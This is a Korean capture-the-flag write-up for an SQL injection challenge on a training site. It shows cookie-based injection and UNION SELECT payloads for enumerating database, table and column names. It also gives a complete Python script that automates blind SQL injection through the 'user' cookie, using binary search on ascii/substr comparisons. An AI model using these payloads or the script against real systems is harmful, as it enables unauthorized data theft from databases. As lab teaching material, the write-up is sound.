
sql injection으로 flag를 찾아내는 문제이다.

로그인 버튼과 문의 게시판이 있다. 일단 로그인 버튼부터 눌러보자.

회원가입을 한 후 로그인을 해보자!

로그인과 회원가입 시에는 다른 특이점은 없었다. 첫 번째로 마이페이지를 들어가 보자.

cookie를 살펴보면 user=bawool;이라는 값을 볼 수 있다. 이전 글처럼 cookie에 조건문을 삽입해 바뀌는 점이 있는지 확인해 보자.


조건이 참일 때는 Nothing Here... 가 출력되지만 거짓일 때는 출력되지 않는 걸 볼 수 있다. 일단 blind sql injection이 가능하다는 것은 확인되었고 올바른 아이디 일 때만 Nothing Here... 가 출력 된다는 것은 이 값을 DB에서 가지고 온다고 유추해 볼 수 있다. DB에서 가지고 오는 값이라면 union을 사용할 수 있지 않을까?

order by를 사용해 column 개수는 하나인 걸 알아냈다. union을 사용해 데이터를 추출해 보자!

' union select database()#
해당 쿼리를 사용해 1번째 row로 우리가 입력한 값이 들어가게 하였다. 마이페이지를 보면 sqli_6라는 DB 이름이 나온 걸 확인할 수 있다. 이제 순서대로 데이터를 추출해 나가보자!

총 3개의 table 이름을 확인했다. 의심스러운 flag_table부터 확인해 보자.

2개의 column이 나왔다. 역시 의심스러운 flag column부터 확인해 보자!

column 데이터를 확인해 보니 flagIsHere! Come이라는 문구가 나왔다. 다른 row에 flag 값이 있는지 확인해 보자.


limit을 이용해 다른 row 데이터를 확인해 보면 flag를 획득할 수 있다!
첫 번째 풀이에서는 union을 사용해 데이터를 화면에 출력했지만 우리는 Nothing Here... 문구가 출력되는 부분을 이용해 참과 거짓을 구분할 수 있었다 즉 blind sql injection을 할 수 있는 것이다. 이번에는 python을 이용해 자동화 코드를 작성해 blind sql injection을 수행해 보도록 하자!
import requests
url = "http://ctf2.segfaulthub.com:7777/sqli_6/mypage.php"
cookies = {
"PHPSESSID": "hc7c2kveqe1dbpp2f9maohcnbs"
}
select_statement = input("SELECT문을 입력하세요: ")
def blind_sql_injection(select_statement, position, ascii_value):
payload = f"' and (ascii(substr(({select_statement}),{position},1)) > {ascii_value}) and '1'='1"
cookies["user"] = f"bawool{payload}"
response = requests.get(url, cookies=cookies)
return 'Nothing Here...' in response.text
def extract_data(select_statement, max_length=32):
extracted_data = ""
for position in range(1, max_length + 1):
char_found = False
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
if blind_sql_injection(select_statement, position, mid):
low = mid + 1
else:
high = mid - 1
if low <= 126 and high >= 32:
extracted_data += chr(low)
print(f"\r추출된 데이터: {extracted_data}", end="", flush=True)
char_found = True
if not char_found:
break
print()
return extracted_data
if __name__ == "__main__":
print("데이터 추출 중...")
result = extract_data(select_statement)
print("최종 추출된 데이터:", result)
input을 사용해 실행할 때마다 select 문을 직접 입력할 수 있게 하였고 'Nothing Here...' in response.text으로 참 거짓을 구분해 주었다.
' and (ascii(substr(({select_statement}),{position},1)) > {ascii_value}) and '1'='1
해당 쿼리에 이진 탐색 알고리즘을 적용하여 데이터 추출 속도를 향상시켜 주었다. 첫 번째로 DB 이름을 추출해 보자!

다음으로 table 이름을 추출해 보자!

column 이름을 추출해보자!

마지막으로 flag 데이터를 추출해 보자!

자동화 코드를 사용해 쉽게 flag를 획득할 수 있다!